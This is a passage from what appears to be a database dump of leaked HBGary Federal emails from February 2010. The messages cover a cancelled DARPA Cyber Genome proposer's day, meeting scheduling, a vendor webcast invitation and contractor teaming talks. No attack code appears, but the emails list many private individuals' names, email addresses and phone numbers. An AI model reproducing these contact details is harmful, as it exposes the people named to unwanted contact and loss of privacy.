&lt;adinaburg@sigovs.cm&gt;, &quot;christopher.jones@harris.com&quot; &lt;christopher.jones@harris.com&gt;, &quot;kvanbure@harris.com&quot; &lt;kvanbure@harris.com&gt;, &quot;fpound@sigovs.com&quot; &lt;fpound@sigovs.com&gt;, &quot;roelker@gmail.com&quot; &lt;roelker@gmail.com&gt;, &quot;pwilson@securedsciences.com&quot; &lt;pwilson@securedsciences.com&gt;, &quot;adahnert@overwatch.textron.com&quot; &lt;adahnert@overwatch.textron.com&gt;, &quot;Brian.Masterson@ngc.com&quot; &lt;Brian.Masterson@ngc.com&gt;, &quot;irby@pikewerks.com&quot; &lt;irby@pikewerks.com&gt;, &quot;melski@grammatech.com&quot; &lt;melski@grammatech.com&gt;\r\n\r\n\r\n\r\nAll,\r\n \r\nDue to inclement weather, the Cyber Genome Proposer’s Day scheduled for tomorrow, 09 Feb 2010, has been cancelled.  We apologize for this late notice, but the official government closure notice from the Office of Personnel Management (OPM) was not released until 7:00pm EST today.  There is no further information at this time, but when something is available it will be posted via the Federal Business Opportunities (FedBizzOpps.Gov) website.\r\n\r\n \r\nPlease confirm receipt of this message by replying to this email.\r\n \r\n \r\nThank you and we apologize for any inconvenience,\r\n \r\nRenee Moore\r\nSETA\r\nDARPA/STO\r\nrenee.moore.ctr@darpa.mil\r\n703-351-9284\r\n -- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',350,'aaron_hbgary_com/350.html'),(2293,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001036.M462481P3547Q2293.eml','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','Re: Virtual Introduction','Which building are you in?AaronOn Feb 9, 2010, at 9:03 AM, Mulville, Michael E. wrote:Aaron –&nbsp;Will be tough to squeeze it in this week.&nbsp; How does Feb 15th&nbsp;afternoon – 11 AM sound ?&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, February 08, 2010 10:02 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;Hi Mike,&nbsp;I can\'t remember what time frame last we discussed, things have been turned a bit around. &nbsp;What does this week look like for you?&nbsp;Aaron&nbsp;On Feb 4, 2010, at 2:35 PM, Mulville, Michael E. wrote:Aaron –&nbsp;Any time possible next week ?&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Mulville, Michael E.&nbsp;Sent:&nbsp;Thursday, January 28, 2010 2:27 PMTo:&nbsp;Aaron BarrSubject:&nbsp;RE: Virtual Introduction&nbsp;Aaron –&nbsp;How does 2 PM sound on Feb 4th&nbsp;(Thursday )?&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, January 28, 2010 1:43 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;How does next Thursday work? &nbsp;It shows I responded to you already but not sure what I responded with...a bit crazy here as well. :)&nbsp;AaronOn Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:&nbsp;Aaron –&nbsp;Thanks for the note back.&nbsp; This week is a bit crazy,&nbsp; how about next ?&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 25, 2010 11:29 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;I actually didn\'t head out to DC3. &nbsp;I will be out in Colorado Springs most of next week. &nbsp;How does your week this week look. &nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?&nbsp;Aaron&nbsp;&nbsp;On Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:Matt –&nbsp;Thanks for the introduction.&nbsp;Aaron, I’m meeting up with Bob Slapnik shortly to discuss needs, and direction.&nbsp;I assuming your headed out to the DC3 show in St. Louis, but might be a good idea to meet up, upon your return.&nbsp;Thanks – Mike Mulville&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Matt O\'Flynn [mailto:matt@hbgary.com]&nbsp;Sent:&nbsp;Thursday, January 21, 2010 1:50 PMTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron Barr\'Subject:&nbsp;Virtual Introduction&nbsp;Mike &amp; Michael,&nbsp;Good seeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our subsidiary who is specializing in the services we discussed. See contact info below. Hopefully you will find one another’s capabilities very complementary.&nbsp;Aaron Barr719-510-8478-Cell&nbsp;Mike Mulville703-622-9121&nbsp;Michael Courtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;443-306-5683&nbsp;Best,&nbsp;Matt O\'Flynn954-559-6934www.hbgary.com&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',479,'aaron_hbgary_com/479.html'),(2294,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001036.M637620P3547Q2294.eml','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','Re: Weather','Sure that would be great.  Wind is coming with the next one...hmmm yeah with the existing snow on trees that should be interesting.\r\n\r\nAaron\r\nOn Feb 9, 2010, at 9:20 AM, Robinson, Cassie wrote:\r\n\r\n> Yes - he plans to be there at this time.  He does have some time\r\n> beforehand.  Do you want to meet up near NGES? \r\n> \r\n> I weathered the storm just fine.  Got a blister of sorts on one of my\r\n> toes.  Not sure if it was from my boot or whether my toes just got too\r\n> cold.  We have several trees and tree limbs down around the property but\r\n> no damage to my car.  No power outage either. I am worried about the\r\n> wind thou with this next storm.  \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, February 09, 2010 9:16 AM\r\n> To: Robinson, Cassie\r\n> Subject: Weather\r\n> \r\n> Haha.\r\n> \r\n> Wow I need some help.\r\n> \r\n> Yep.  I was looking at Wednesdays calendar.  The weather has thrown it\r\n> and me all out of wack.\r\n> \r\n> Did you survive the storm ok?  I had some decent size tree limbs land on\r\n> my car but they turned out ok.\r\n> \r\n> Is Tom planning to be at the meeting as well.  If he is is it possible\r\n> to meet with him a few minutes before hand.  I have an idea to throw by\r\n> him, but want to do it in person.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5347,'aaron_hbgary_com/5347.html'),(2295,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001036.M811510P3547Q2295.eml','\"John Farrell\" <john@endgames.us>','Still want to link up today?','My schedule is open...damn snow.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2532,'aaron_hbgary_com/2532.html'),(2296,'2010-02-09','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297001037.M220642P3547Q2297.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Lots of time tomorrow','Give me a call when you can.  I want to discuss the information geometry.\r\n\r\nAaron\r\nOn Feb 8, 2010, at 11:11 PM, Aaron Barr wrote:\r\n\r\n> Soooo the proposers day is cancelled.\r\n> \r\n> Got some time to get together.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n',4473,'aaron_hbgary_com/4473.html'),(2297,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001037.M389565P3547Q2298.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Give me a call','When you can.  I want to discuss the info. geometry stuff.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9672,'aaron_hbgary_com/9672.html'),(2298,'2010-02-09','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297001037.M47498P3547Q2296.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Still want to link up today?','how about we just have a call today? I went out yesterday afternoon and the roads are still icy. with the next storm on its way, i\'m not eager to venture out too far. the last thing I need right now is an accident. let me know what time works for you.\r\n\r\njohn\r\n\r\nOn Feb 9, 2010, at 10:00 AM, Aaron Barr wrote:\r\n\r\n> My schedule is open...damn snow.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nJohn M. Farrell\r\nVice President\r\nEndgame Systems\r\n1940 Duke Street Suite 200\r\nAlexandria, VA 22314\r\n(703) 622-9025\r\n\r\n',1780,'aaron_hbgary_com/1780.html'),(2299,'2010-02-09','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297001037.M569048P3547Q2299.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Webcast: Gartner Keynote - Google was victimized by hackers. Will you be next?','you might be interested in this too....\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Jeremy Carlson\r\n[mailto:webcast@zscaler.com] \r\nSent: Tuesday, February 09, 2010\r\n9:07 AM\r\nTo: John\r\nSubject: Webcast: Gartner Keynote\r\n- Google was victimized by hackers. Will you be next?\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n \r\n \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    Dear John,\r\n    \r\n   \r\n   \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    Join us for this free educational Webcast; listen to\r\n    the keynote from Peter Firstbrook, Research Director of Gartner\r\n    and watch a step-by-step demo of how Chinese hackers compromised brand name\r\n    US high-tech companies.\r\n    \r\n   \r\n   \r\n    Live Webcast:\r\n    Keynote&nbsp;by&nbsp;Peter&nbsp; Firstbrook,&nbsp; Research Director\r\n    at&nbsp;Gartner\r\n    \r\n   \r\n   \r\n    Google was victimized by hackers.&nbsp;Will\r\n    you be next?\r\n    \r\n   \r\n   \r\n    Keynote address–Peter\r\n    Firstbrook, Gartner\r\n    \r\n   \r\n   \r\n    &nbsp;\r\n    \r\n    •&nbsp; Anatomy of a malicious web attack by\r\n    Chinese hackers\r\n    •&nbsp; Can Cloud Security solutions protect against these new\r\n    threats?\r\n    \r\n   \r\n   \r\n    Demo–Replaying the Attack\r\n    \r\n   \r\n   \r\n    &nbsp;\r\n    \r\n    •&nbsp; Step-by-step demo of how these attacks\r\n    take place\r\n    •&nbsp; Why the big names of high-tech were expose\r\n    \r\n   \r\n   \r\n    Real–life Customer Case Study\r\n    \r\n   \r\n   \r\n    &nbsp;\r\n    \r\n    •&nbsp; How our cloud security service was\r\n    selected\r\n    •&nbsp; Benefits and ROI\r\n    \r\n   \r\n   \r\n    To get more information or register Click here\r\n    \r\n   \r\n   \r\n    Please feel free to pass this invitation to your\r\n    cohorts. If you have any questions please send us an e-mail at:&nbsp;webcast@zscaler.com\r\n    \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n   \r\n    &nbsp;\r\n    \r\n    &nbsp;\r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    &nbsp;\r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    Peter\r\n    Firstbrook\r\n    \r\n   \r\n   \r\n    Featured Speaker\r\n    Gartner\r\n    \r\n   \r\n   \r\n    Date:\r\n    Feb 25, 2010\r\n    \r\n   \r\n   \r\n    Three\r\n    convenient times for\r\n    \r\n   \r\n   \r\n    • USA,&nbsp;Canada,&nbsp;Latin&nbsp;America\r\n    \r\n    • Europe&nbsp;&amp;&nbsp;Middle&nbsp;East\r\n    • Asia&nbsp;Pacific \r\n    \r\n   \r\n   \r\n    Click here to Register\r\n    \r\n   \r\n   \r\n    &nbsp;\r\n    \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  Regards,\r\n  \r\n \r\n \r\n  Jeremy Carlson\r\n  Phone: +1-408-533-0288\r\n  www.zscaler.com \r\n  \r\n \r\n \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\nZscaler,\r\nInc\r\n392 Potrero Avenue, \r\nSunnyvale, CA 94085, USA\r\n&nbsp;Note:\r\nYour e-mail is in our mailing list as johnrw@proinfomd.com, if you wish to be\r\nremoved from our mailing list please use the link below to unsubscribe from any\r\nfuture mailings. We will respect all unsubscribe requests\r\nhttp://cp20.com/Tracking/t.fo?9YPr--KCV-7IVT78 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJohn M. FarrellVice President, Federaljohn@endgames.us703.622.9025\r\n\r\n',16474,'aaron_hbgary_com/16474.html'),(2300,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001037.M746920P3547Q2300.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Give me a call','kOn Feb 9, 2010, at 10:16 AM, Masterson, Brian (Xetron) wrote:\r\n\r\nBb almost dead.&nbsp; Forgot my charger.&nbsp; Later this afternoon.&nbsp; Almost ready to board flight out of bwi.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Tue Feb 09 09:14:05 2010\r\nSubject: Give me a call\r\n\r\nWhen you can.&nbsp; I want to discuss the info. geometry stuff.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3909,'aaron_hbgary_com/3909.html'),(2301,'2010-02-09','\"Aubrey MERCHANT DEST\" <Aubrey.MERCHANTDEST@qosmos.com>','/aaron@hbgary.com/new/1297001037.M957622P3547Q2301.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Qosmos','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;m happy to meet you in McLean.&nbsp; If you have time\r\nearly next week (Monday/Tuesday) pick a time.&nbsp; I&#8217;m in CA today and\r\nbooked the remainder of the week. Looking forward to our discussion.&nbsp; Thanks\r\nin advance.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\nAubrey\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 7:42 PM\r\nTo: Aubrey MERCHANT DEST\r\nSubject: Re: Qosmos\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Aubrey,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThats strange.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe met at the AFCEA conference at the end of the year.\r\n&nbsp;I am actually in Mclean most of the time if I am not in meetings, can we\r\nmeet closer to there? &nbsp;My week has been turned upside down so I have lots\r\nof openings.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 5, 2010, at 10:49 AM, Aubrey MERCHANT DEST wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nInterestingly\r\nI just got a call on my cell phone from a gentleman from PWC.&nbsp; Strange,\r\nhuh?&nbsp; I gave him your contact information.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam very interested in having a discussion with you about Qosmos NI\r\ntechnology.&nbsp; Can we meet late next week?&nbsp; Thursday or Friday morning\r\nin Bethesda?&nbsp; Let me know.&nbsp; At least I&#8217;d like to get you take\r\non what we do and how it may be relevant in your mission(s).&nbsp; Thanks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAubrey\r\nMerchant-Dest\r\n\r\n\r\n\r\n\r\n\r\nConsulting\r\nEngineer\r\n\r\n\r\n\r\n\r\n\r\nO:\r\n301-528-8301\r\n\r\n\r\n\r\n\r\n\r\nF:&nbsp;\r\n301-528-8302\r\n\r\n\r\n\r\n\r\n\r\nC:&nbsp;\r\n301-351-4905\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;image003.png&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4554,'aaron_hbgary_com/4554.html'),(2302,'2010-02-09','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297001038.M192810P3547Q2302.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: 624th Ops Center--Next Steps','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, \r\n\r\n&nbsp;\r\n\r\nNo word back from\r\nVickie&#8212;so I take that as a &#8220;no&#8221;.&nbsp;&nbsp; That&#8217;s\r\nfine since we can get to many consultants on our own. &nbsp;Gen (Ret) Tom\r\nHobbins is back onboard with NGC&#8212;he brings a lot.&nbsp; &nbsp;I&#8217;ll\r\ncatch-up with you Wed or Thurs to work next steps. &nbsp;&nbsp;Let me know if\r\none timeframe is better than another to call. &nbsp;\r\n\r\n&nbsp;\r\n\r\nCheers,\r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\'\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 10:17 PM\r\nTo: Shows, Bob (IS)\r\nSubject: Re: 624th Ops Center--Next Steps\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Bob,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust checking in to see any status on this effort.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 29, 2010, at 5:46 PM, Shows, Bob (IS) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI spoke at length\r\nwith Vickie Michaels of CyberSpace Operations Consulting, LLC.&nbsp; Fundamentally\r\nher company is interested, but wants NGC to pay her company upfront to\r\nconsultant in bringing this business case together.&nbsp; I conveyed that was\r\nnot going to work, but if she could get her boss to sign the NDA, I would work\r\nwith her to see how they might fit.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOf note, she\r\nwasn&#8217;t interested in investing 2-4 hours of her own time just tighten the\r\nshot pattern on this effort.&nbsp; We left it with her going to see her boss\r\nand present the case (for which she did not seem overly enthusiastic)&#8212;we&#8217;ll\r\nsee.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs I mentioned,\r\nCSOC would be nice to have on this team, but not essential.&nbsp; We have Tom\r\nHobbins, Bob Hinson, Tim Peppe, Jim Hale, Mike Edwards, and others that you\r\nknow to assist with senior customer interface.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nUntil we hear from\r\nVickie, not sure we should plan to rendezvous in San Antonio&#8212;I&#8217;ll\r\nstay on top of this and keep you in-the-loop.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAlso, Jim Hale has\r\nsome things in the work that he believes will be of interest to you.&nbsp;\r\nHe&#8217;ll be in touch soon. &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJim \'Torch\' Hale\r\n\r\n\r\n\r\n\r\n\r\n(719) 238-0763 (mobile)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n(719) 510-8478 (mobile)\r\n\r\n\r\n\r\n\r\n\r\n(301) 652-8885 x117\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest regards,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRobert \'Bob\'\r\nShows&nbsp;\r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation&nbsp;\r\n310.210.2549\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7647,'aaron_hbgary_com/7647.html'),(2303,'2010-02-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001041.M175808P3547Q2303.eml','\"Ted Vera\" <ted@hbgary.com>,\"Dan Willis\" <Dan.Willis@macb.com>','Re: HBGary Capabilities Matrix','Dan,\r\n\r\nI want to give you a sneak peek at a report format we have developed for threat intelligence.  We will release this report publicly later in the week.\r\n\r\nAaron\r\n\r\n',12705,'aaron_hbgary_com/12705.html'),(2304,'2010-02-09','\"Brian Girardi\" <brian@netwitness.com>','/aaron@hbgary.com/new/1297001041.M485204P3547Q2304.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: NetWitness side of things','\r\n\r\nRe: NetWitness side of things\r\n\r\n\r\n\r\nI will say that our Fed team casts a wide net &#8211; so regarding DARPA its them doing their thing. &nbsp;I agree on the interplay... NetWitness will team with folks that make sense, but admittedly our Fed team actually teams with several integrators on such efforts. &nbsp;If you need I can get you synchronized with Jaci who runs our Fed Group.\r\n\r\nHa ha , Fidelis. &nbsp;You are right in your assertion that there is no comparison. &nbsp;They are clearly DLP and we are advanced threat, full data capture. &nbsp;Now there is perceived overlap because we both have the ability to monitor network traffic, but then we then massively diverge technically and from a use case perspective. &nbsp;We do run into them competitively but its more budgetary than anything else. &nbsp;We get mixed in their conversations because on the Fed side we pulled a 1M+ deal out from under them in the 11th hour &#8212; we added more value in addition to the DLP requirements they were being evaluated under. &nbsp;&nbsp;In my mind DLP is commoditized, if not almost there. NW is on the front-lines of a bigger battle of advanced threats, &nbsp;a battle that DLP has no weapons to fight with.\r\n\r\n-Brian\r\n\r\nOn 2/8/10 10:46 PM, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nBrian,\r\n\r\nI saw you guys are on the list of attendees at the DARPA cyber genome project day. &nbsp;Whats your take on the whole thing? &nbsp;at least tech area 3 is in our sweet spot so we are likely going to bid something. &nbsp;Talking to a few of the bigger contractors for teaming, etc.\r\n\r\nI am still working with Brian Masterson of Xetron to get the IRAD funding to start our effort. &nbsp;We have a few meetings with NG senior folks this week to discuss. &nbsp;I will let you know how that goes.\r\n\r\nSelf assessment question. &nbsp;How would you compare yourself to Fidelis? &nbsp;I keep hearing the comparison, but I see you guys as different. &nbsp;I like Netwitness from an intelligence perspective because you give me better interfaces to the data, discovery, correlation, etc.\r\n\r\nAaron\r\n\r\nOn Jan 29, 2010, at 11:44 AM, Brian Girardi wrote:\r\n\r\nAaron, Thanks for pulling us into your effort. &nbsp;From our perspective the problem set identified and target resonates, an approach like this is needed to better position the organizations to build out better knowledge, skillset, tradecraft...etc. &nbsp;&nbsp;Our experience historically within intel and coming from a services organization re-enforces our belief in the need. &nbsp;To this point, its also not a conventional product sale, as some members of the room were hung up on. Unlike, Splunk we don&#8217;t need time to evaluate, weve experienced the problem and realize the need. &nbsp;Eager to participate in the solution.\r\n\r\nFrom a product and technical perspective I think Splunk positions its self as the umbrella for all data consumption and searching... which would include NW, HGbary, and other intel data, which also drives their licensing cost. &nbsp;When you put them under the host category they probably felt as if they were in a corner. &nbsp;I think they do risk cannibalizing themselves in some accounts if they don&#8217;t position themselves right( at the top), which in my mind may conflict with the objective of the solution.\r\n\r\nI do think more thought needs to go into how the products play together, and position it in a way that minimizes sales impact if the product already exists or not. &nbsp;Tricky. &nbsp;&nbsp;I believe that as our product is used it inherently drives customers to use it more and buy more for coverage. May be the same for Splunk... The issue there is that they are architected in a similar way to NW, further driving confusion on the interaction. Id challenge that shoveling all NW data into Splunk wont scale (contrary to their assertion) and minimize the value of our analytics. &nbsp;For example, at any particular time we may be processing 100,000 meta elements a second &#8212; the real-time nature of our system and its index positions itself better as an adjacent system than just a data provider when part of a larger solution. &nbsp;&nbsp;You may find that during integration the profile of the products may change anyway.\r\n\r\nThe missing part to me is the workflow --- which is part services, integration, and product. &nbsp;Clearwell has an interesting case management system you may want to look at, although Palantir may already do some of this.\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street, Suite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain company proprietary and legally privileged information. &nbsp;If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited. &nbsp;If you have received this in error, please reply immediately to the sender and delete this message. &nbsp;Thank you. \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street, Suite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain company proprietary and legally privileged information.  If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited.  If you have received this in error, please reply immediately to the sender and delete this message.  Thank you. \r\n\r\n\r\n',15347,'aaron_hbgary_com/15347.html'),(2305,'2010-02-09','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001041.M763362P3547Q2305.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Re: Fidelis Security Systems and HB Gary','I sent you an invite from them, just respond  RIch you should too\r\n\r\nOn Mon, Feb 8, 2010 at 8:00 AM, Aaron Barr  wrote:\r\n> I can do either.\r\n> On Feb 8, 2010, at 10:41 AM, Penny Leavy-Hoglund wrote:\r\n>\r\n> Do any of these dates work for you?  Wednesday/Thursday works for RIch\r\n>\r\n> From: Etue, David [mailto:david.etue@fidelissecurity.com]\r\n> Sent: Monday, February 08, 2010 7:31 AM\r\n> To: Penny Leavy-Hoglund\r\n> Subject: RE: Fidelis Security Systems and HB Gary\r\n>\r\n> If we can do it in person, I think it would be better.  If not, we could do\r\n> a webinar today at the scheduled 